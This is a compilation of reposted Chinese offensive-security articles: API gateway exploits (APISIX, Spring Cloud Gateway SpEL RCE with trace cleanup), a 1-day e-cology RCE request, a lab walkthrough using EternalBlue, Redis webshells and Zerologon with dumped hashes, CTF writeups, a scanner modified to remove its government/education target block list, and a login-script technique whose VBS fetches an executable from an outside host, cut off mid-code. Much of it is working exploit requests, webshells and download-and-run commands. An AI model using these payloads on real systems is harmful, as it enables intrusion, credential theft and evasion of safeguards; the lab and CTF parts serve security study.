的元数据,定义了生成签名的算法以及 Token 的类型。Payload : 用来存放实际需要传递的数据Signature(签名) :服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法(默认是 HMAC SHA256)生成 防止 JWT被篡改计算方式 加密算法( base64(header) + "." + base64(payload), secret) 在线测试https://jwt.io/ 普通token需要后端存储与用户的对应关系,而JWT自身携带对应关系 其他自定义头、cookie诸如apikey 或者随机生成的其他形式的token 常见安全问题及测试方法api网关API 网关是一个搭建在客户端和微服务之间的服务,我们可以在 API 网关中处理一些非业务功能的逻辑,例如权限验证、监控、缓存、请求路由等。 API 网关就像整个微服务系统的门面一样,是系统对外的唯一入口。有了它,客户端会先将请求发送到 API 网关,然后由 API 网关根据请求的标识信息将请求转发到微服务实例。 apisixApache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量,也可以处理服务间的东西向流量。同时,它也支持作为 K8s Ingress Controller 来使用。apisix之前爆出过一个命令执行漏洞CVE-2022-24112 (目前最新版本是3.0) 影响范围: Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 ) Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)搭建漏洞环境 git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件 cd cve-2022-24112/apisix-docker/example/ ##进入相应目录 docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务利用条件 batch-requests插件默认开启状态。 用户使用了 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。攻击思路 1、利用batch-requests 插件漏洞、绕过请求头检测; 2、通过伪造请求头、向Admin API 注册路由; 3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞exp: https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py Spring Cloud GatewaySpring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击 影响版本 Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 其他已不再更新的版本这个漏洞本身是一个SpEL注入 攻击方法: 第一步 添加路由 value参数传入了执行cmd的el表达式 POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxx.com:9090 User-Agent: xxx Content-Length: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close { "id": "AAAAAAAAAAAAAAAA", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}" } }], "uri": "http://xxx.com:9090/test/actuator/" }第二步 刷新配置 POST /test/actuator/gateway/refresh HTTP/1.1 Host: xxx:9090 User-Agent: xxx Content-Length: 0 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Connection: close第三步,获取命令执行结果 GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxxx:9090 User-Agent: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Accept-Encoding: gzip, deflate Connection: close清除痕迹: DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxx User-Agent: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Accept-Encoding: gzip, deflate Connection: closetraefik这个倒是没爆出过什么漏洞,实战中遇到过几次dashboard存在未授权访问的情况, 这个dashboard没法直接部署容器啥的 但是可以从它http->http routers这里看到一些路由转发规则,比如host path,对于后续的渗透有一些帮助,可以知道一些二级目录和域名 还有其他页面比如http services会泄露一些内网ip等等 actuator未授权访问默认只开放 health 如果在application.properties添加了 management.endpoints.web.exposure.include=* 或者application.yml添加 management: endpoints: web: exposure: #默认值访问health,info端点 用*可以包含全部端点 include: "*" endpoint: health: show-details: always #获得健康检查中所有指标的详细信息则会暴露所有端点(endpoints) 此时这些端点就存在未授权访问 利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit 这里不再重复提及 heapdump获取shiro key测试环境:https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro 下载heapdump /actuator/heapdump jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe 打开heapdump, 搜索org.apache.shiro.web.mgt.CookieRememberMeManager 然后双击这个类,找到key,右边是key的值 复制 -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111 转换的python脚本: import base64 import struct print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111))) 或者使用https://github.com/whwlsfb/JDumpSpider/releases java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump 后端代码安全问题api后端的应用也是由代码写出来的,各种web安全问题依旧会存在,比如sql注入 文件上传等等,这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞 越权(1)参数污染 为单个参数提供多个值 GET /api/user?id={userid} => GET /api/user?id={userid1}&id={userid2}(2)附加特殊字符和随机字符串 简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符 / %20、%09、%0b、%0c、%1c、%1d、%1e、%1fGET /api/user/1 => GET /api/user/1%20(3)添加查询参数 url中可能并没有参数,可以自己添加一些字段(可以是网站返回的,也可以是常见的一些比如id username等等): 比如 GET /api/user => GET /api/user?id=1 GET /api/user?userid=1 GET /api/user?username=1 ...(4)修改动作 常见有增删改查 比如 GET /api/edit/user/1 => GET /api/detele/user/1 PUT /api/user 新增 => DETELE /api/user/1 尝试删除xxeapi为了兼容一些不同的应用场景比如小程序、app等等,可能会兼容不同的数据传输格式 比如之前一个银行的测试,接口传输数据采用的是json格式 将json格式数据改为xml格式时,发现存在xml外部实体注入漏洞(xxe) 鉴权绕过思路伪造jwt token有些网站,访问时会给你一个jwt token,但是payload部分很多字段是空的,这个时候可以去尝试去修改payload中,可能和身份认证相关的字段,伪造jwt token。 伪造就需要解决签名问题 (1)修改签名算法为none (2)爆破签名的密钥 (3)伪造密钥 ... 可以使用jwt_tool进行测试 https://github.com/ticarpi/jwt_tool Spring-security 认证绕过漏洞CVE-2022-22978 影响版本: Spring Security 5.5.x < 5.5.7 Spring Security 5.6.x < 5.6.4 在spring-security中利用换行符可实现权限认证进行绕过,\r的URl编码为%0d,\n的URL编码为%0a 比如: /admin/1 -> 需要认证 /admin/1%0d%0a -> 绕过认证shiro权限绕过举两个例子 (1)CVE-2020-1957 影响版本: shiro < 1.5.2 shiro与spring的URI中对;处理不同,导致绕过 比如http://127.0.0.1:8080/;/admin,shiro则是认为是访问http://127.0.0.1:8080/ 比如http://127.0.0.1:8080/;/admin,spring则是认位是访问http://127.0.0.1:8080/admin 这就造成了与shiro处理⽅式的差异,shiro是直接截断后⾯所有部分,⽽spring只会截断【分号之后,斜杠之前】的部分/admin/ -> 403 /;aaaa/admin/ -> 200 (2)CVE-2020-13933 影响版本: shiro < 1.6.0 访问/admin/index 需要认证 而/admin/%3bindex,能够绕过认证:其他这里就是一些经验之谈 (1)github、前端的js以及app中可能存在一些测试的token (2)测试站点的凭据可能在正式站点上面也有效 (3)有些应用有toB toC不同的接口,在校验不严格的情况下,toC端的凭据可能能用在toB端的接口认证上,比如某次漏洞挖掘中小程序用户登录获取token,可以用在商家端的一些api绕过认证。 参考https://github.com/API-Security/APIKit https://github.com/OWASP/API-Security https://www.cnblogs.com/tomyyyyy/p/15134420.html https://www.cnblogs.com/zpchcbd/p/15023056.html https://www.freebuf.com/vuls/343980.html https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ https://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247484068&idx=1&sn=89ea1b1be48a0cb7f93a4750765719d1&chksm=cecd8b79f9ba026f7fbf52771e41272d684fc3af5175587f768082f8dbaee12d6d33bb892ceb&scene=21#wechat_redirect https://apisix.apache.org/zh/docs/apisix/getting-started/ https://zhuanlan.zhihu.com/p/569328044 https://www.cnblogs.com/9eek/p/16243402.html http://c.biancheng.net/springcloud/gateway.html 原文连接: https://xz.aliyun.com/t/11977
-
某微1day后台RCE审计漏洞
某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化 溯源找到InterfaceRegisterCustomOperationCmd #excute 访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞 因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20 这里var14要为add var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add 进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1 这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action 下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode= if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常 根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行 实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1 Host: Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 548 method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class Test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } } 转载来自: https://xz.aliyun.com/t/11947
-
vulntarget靶场系列-a-writeup
网络配置外网WIN7:ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 (NAT模式)ip2:10.0.20.98-vmnet1(仅主机模式)域主机成员:10.0.20.99-vmnet1(仅主机模式)10.0.10.111-vmnet2(仅主机模式)域控:10.0.10.110-vmnet2(仅主机模式)密码配置:Win7:win7/adminwin2016:Administrator/Admin@123、vulntarget.com\win2016 Admin#123win2019:vulntarget.com\administrator Admin@666信息收集扫描主机 arp-scan -l扫描同一网段中的存活主机发现一个存活主机:192.168.127.91扫描端口 扫描一下存活靶机的ip地址 nmap -sC -T4 192.168.127.91发现目标系统为win7,且开放了445端口,尝试利用永恒之蓝(ms17-010)打一波目标系统内网主机渗透在kali中输入命令:msfconsolemsf 6> search 17-010msf 6> use 0msf 6> set payload windows/x64/meterpreter/reverse_tcpmsf 6> set lport 6666msf 6> set lhost 192.168.127.129msf 6> set rhosts 192.168.127.91msf 6> runmeterpreter>shell C:\Windows\System32>ipconfig发现有些乱码,直接在设置一下 C:\Windows\System32>CHCP 65001 #65001 UTF-8代码页C:\Windows\System32>ipconfig #发现有两个网段,一个是192.168.127的网段,另一个就是10.0.20网段C:\Windows\System32>whomai #查看当前用户得权限为system权限C:\Windows\System32>tasklist/svc #查看进程,发现系统中没有杀软C:\Windows\System32>exit #退出shell命令终端meterpreter>load kiwi #加载mimikataz模块meterpreter>creds_all #获取当前所有用户得登录凭证,发现用户名为win7,密码为:admin Web渗透直接访问,http://192.168.127.91/,发现是通达OA查看通达OA的版本号,当前版本为11.3http://192.168.127.91/inc/expired.php 通过搜索引擎搜索通达11.3存在文件包含漏洞参考地址:https://blog.csdn.net/hackzkaq/article/details/115900500这里使用一键图形化工具获得webshell使用蚁剑连接成功同样在蚁剑的命令终端下查看当前用户的权限为system权限横向渗透进程迁移获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移meterpreter > run post/windows/manage/migrate #从1080的spoolsv.exe迁移到了noepad.exe的4800进程查看本地网络连接子网段meterpreter > run get_local_subnets添加一条动态路由meterpreter > run autoroute -s 10.0.20.0/24或者meterpreter >backgroundmeterpreter >sessions msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/multi/manage/autoroutemsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >runmeterpreter >background发现存活主机msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/windows/gather/arp_scannermsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >set rhosts 10.0.20.1-254msf6 exploit(windows/smb/ms17_010_eternalblue) >run发现了另一台存活主机10.0.20.99开启socks5代理 msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > run端口扫描 首先先要需要修改/etc/proxychain4.conf配置文件 vim /etc/proxychains4.confsocks5 127.0.0.1 1080通过nmap扫描目标IP的常用端口proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080发现10.0.20.99主机开放了6379和80端口这里使用本地socks5代理客服端proxifier软件通过dirsearch进行扫描,发现目标存在phpinfo.php敏感信息页面python3 dirsearch.py -l url.txt -t 10 -e * -i 200,302 --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv或者攻击机kali下执行 proxychains python dirsearch.py -u http://10.0.20.99 -i 200proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5 访问phpinfo.php页面发现暴露了网站的绝对路径:C:/phpStudy/PHPTutorial/WWW/http://10.0.20.99/phpinfo.php http://10.0.20.99/l.phpRedis未授权访问通过 redis-cli 命令可无密码进行远程连接proxychains redis-cli -h 10.0.20.99Redis写入webshell10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/" #切换到可写入shell的绝对路径10.0.20.99:6379> set x "\n\n\n<?php @eval($_POST['x']);?>\n\n\n" #写入一句话木马10.0.20.99:6379> config set dbfilename shell.php #设置文件名为shell.php10.0.20.99:6379> save这里通过本地主机上的蚁剑设置代理,且连接webshell 查看当前用户权限为syestem上传MSF后门生成正向shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=3333 -f exe > shell.exe使用蚁剑上传shell.exe到10.0.20.99,并执行 配置监听器 use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 3333set RHOST 10.0.20.99run关闭防火墙 netsh firewall set opmode mode=disable蚁剑命令终端中运行shell.exe收集同网段主机meterpreter > arp扫出10.0.10.110网段迁移进程run post/windows/manage/migratemeterpreter > sysinfometerpreter > shellC:\phpStudy\PHPTutorial\WWW>CHCP 65001收集IP信息C:\phpStudy\PHPTutorial\WWW>ipconfig/all有域存在,查看域控计算机名C:\phpStudy\PHPTutorial\WWW>net group "domain controllers" /domain查看域管理员C:\phpStudy\PHPTutorial\WWW>net group "enterprise admins" /domain域提权添加路由meterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -pmeterpreter > run post/windows/gather/enum_domainproxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139下载impacket包,并进行安装git clone https://github.com/SecureAuthCorp/impacketcd impacketpython3 -m pip install -r requirements.txtpython3 -m pip install .下载CVE-2020-1472EXPgit clone https://github.com/dirkjanm/CVE-2020-1472.gitcd CVE-2020-1472执行EXPproxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110获取域管理员hashcd /opt/impacket/examplesproxychains python3 secretsdump.py vulntarget.com/WIN2019\[email protected] -no-passAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51dAdministrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1Administrator:des-cbc-md5:dcc29476a789ec9ekrbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cdedkrbtgt:des-cbc-md5:10efae67c7026dbfvulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25WIN2019$:des-cbc-md5:01c8894f541023bcWIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950WIN2016$:des-cbc-md5:6d97313875e362c8拿到管理员hash,执行提权expproxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 [email protected]开启3389远程桌面端口:reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 直接3389登录:proxychains rdesktop 10.0.10.110 账号:balsec.com\administrator 密码:Admin@666
-
NCTF2022 Web Writeup
1.calc 题目地址:http://116.205.139.166:8001/ 右键 /source 源码 @app.route("/calc",methods=['GET']) def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass return str(data) else: return "waf!!" flask 报错可以看到 waf 的过滤规则 http://162.14.110.241:8050/calc?num[]= def waf(s): blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__'] flag = True for no in blacklist: if no.lower() in s.lower(): flag= False print(no) break return flag 试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格 然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来 /calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a 因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线 /calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a /calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a /calc?num=%0a'/tmp/testapp'%0a 2.ez_php 题目地址:http://81.70.155.160/ ayacms github 地址 https://github.com/loadream/AyaCMS issues 里能看到很多漏洞, 但是全都要登录后台/前台 后台 admin.php 试了弱口令无果, 前台也无法注册… 于是直接下载源码进行代码审计, 然后看了大半天 源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行 这样思路就转换为寻找存在文件包含的漏洞点 找了好久在 /aya/admin.inc.php 找到一处 其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码 加密过程中的 AYA_KEY 就是默认值 aaa 有了文件包含之后思路就广了许多, 然后结合一下已知漏洞 https://github.com/loadream/AyaCMS/issues/3 payload <?php function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){ $hash=''; $max=strlen($chars)-1; for($i=0;$i<$length;$i++){ $hash.=$chars[mt_rand(0,$max)]; } return $hash; } function kecrypt($txt,$key){ $key=md5($key); $len=strlen($txt); $ctr=0; $str=''; for($i=0;$i<$len;$i++){ $ctr=$ctr==32?0:$ctr; $str.=$txt[$i]^$key[$ctr++]; } return $str; } function encrypt($txt,$key=''){ $key or $key='aaa'; $rnd=random(32); $len=strlen($txt); $ctr=0; $str=''; for($i=0;$i<$len;$i++){ $ctr=$ctr==32?0:$ctr; $str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]); } return str_replace('=','',base64_encode(kecrypt($str,$key))); } echo encrypt('../module/admin/fst_upload'); http 包 POST /aya/admin.inc.php HTTP/1.1 Host: 81.70.155.160 Content-Length: 244 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA Connection: close ------WebKitFormBoundarykhsd4wQ8UBmzCnD1 Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php" Content-Type: application/octet-stream <?php eval($_REQUEST[1]);phpinfo();?> ------WebKitFormBoundarykhsd4wQ8UBmzCnD1 3.ezbypass hint 提示 waf 是 modsecurity 题目地址:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php 网上找到一篇参考文章 https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html 剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行 import requests import time flag = '' i = 1 while True: min = 32 max = 127 while min < max: time.sleep(0.08) mid = (min + max) // 2 print(chr(mid)) payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid) url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload) res = requests.get(url) if 'letian' in res.text: min = mid + 1 else: max = mid flag += chr(min) i += 1 print('found', flag) 4.ez_sql 题目地址:http://81.70.155.160:3000/ https://nctf.h4ck.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip 题目描述给了源码 app.js import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts"; import Flight from './db.js'; const app = new Application(); const router = new Router(); router.get('/', async(ctx) => { ctx.response.body = 'check your flight `/flight?id=`'; }); router.get('/flight', async(ctx) => { const id = helpers.getQuery(ctx, { mergeParams: true }); const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all(); ctx.response.body = info; }); app.use(router.routes()); app.use(router.allowedMethods()); app.listen({ port: 3000, hostname: '0.0.0.0' }); db.js import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/[email protected]/mod.ts"; const connector = new SQLite3Connector({ filepath: '/tmp/flight.db' }); const db = new Database(connector); class Flight extends Model { static table = 'flight'; static fields = { id: { primaryKey: true, autoIncrement: true }, departure: DataTypes.STRING, destination: DataTypes.STRING, }; } class Flag extends Model { static table = 'flag'; static fields = { flag: DataTypes.STRING, }; } db.link([Flight, Flag]); await db.sync({ drop: true }); await Flight.create({ departure: 'Paris', destination: 'Tokyo', }); await Flight.create({ departure: 'Las Vegas', destination: 'Washington', }); await Flight.create({ departure: 'London', destination: 'San Francisco', }); await Flag.create({ flag: Deno.env.get('flag'), }); export default Flight 跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下 https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/ https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98 https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436 唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp 不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去 http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag; 附件下载:https://github.com/X1cT34m/NCTF2022 转载原文: https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc
-
资产扫描神器ARL增强改造
拉取项目首先从GitHub克隆到服务器上。 git clone https://github.com/ki9mu/ARL-plus-docker/ 修改配置文件因为ARL在配置文件里设置了黑名单,有时候项目为GOV或者EDU之类的时候无法进行扫描,所以在这里修改一下配置文件就可以解除限制。 cd ARL-plus-docker/ vi config-docker.yaml在这里删掉黑名单里的几项就可以了 修改后: 增加和修改riskiq以及fofa API 再增强版里添加了Oneforall的模块,所以在配置文件里需要打开,因为clone下来的代码里默认是Flase,这里将需要想打开的开关替换为Ttue即可。 vi oneforall-config/setting.py 修改后: 修改为配置文件之后就开始启动docker,先添加一个volume,然后docker-compose up -d就可以直接启动,拉取镜像的时候如果很慢可以换一下docker源。 docker volume create --name=arl_db docker-compose up -d 当看到一排done就说明成功了,这时候还需要进容器修改一下python代码,因为在python脚本里也有黑名单。先使用docker ps看一下容器的ID,然后进入这个容器进行修改,使用vi进行编辑。 docker ps #查看容器ID docker exec -it 对应ID bash vi app/config.py 修改前: 添加指纹安装成功之后,添加一下指纹,让你的灯塔有更强大的指纹。 地址:https://vps:5003/ 默认账密:admin\arlpass git clone https://github.com/loecho-sec/ARL-Finger-ADD cd ARL-Finger-ADD python ARL-Finger-ADD.py -O https://vps:5003/ admin arlpassCOPY 安装成功用默认密码登陆,然后在右上角修改掉默认密码就可以愉快的使用了。
-
登录脚本下发
0x1、利用场景 当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。 0x2、利用方法 方法一、powershell win2012及以上自带,获取当前域用户信息 Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8 绑定指定用户 Set-ADUser -Identity zhangsan -ScriptPath "download.vbs" 解绑 Set-ADUser -Identity zhangsan -ScriptPath " " 方法二、利用dsmod进行绑定 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com" 解绑 dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com" 刷新组策略 shell gpupdate /force VBS内容 strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = 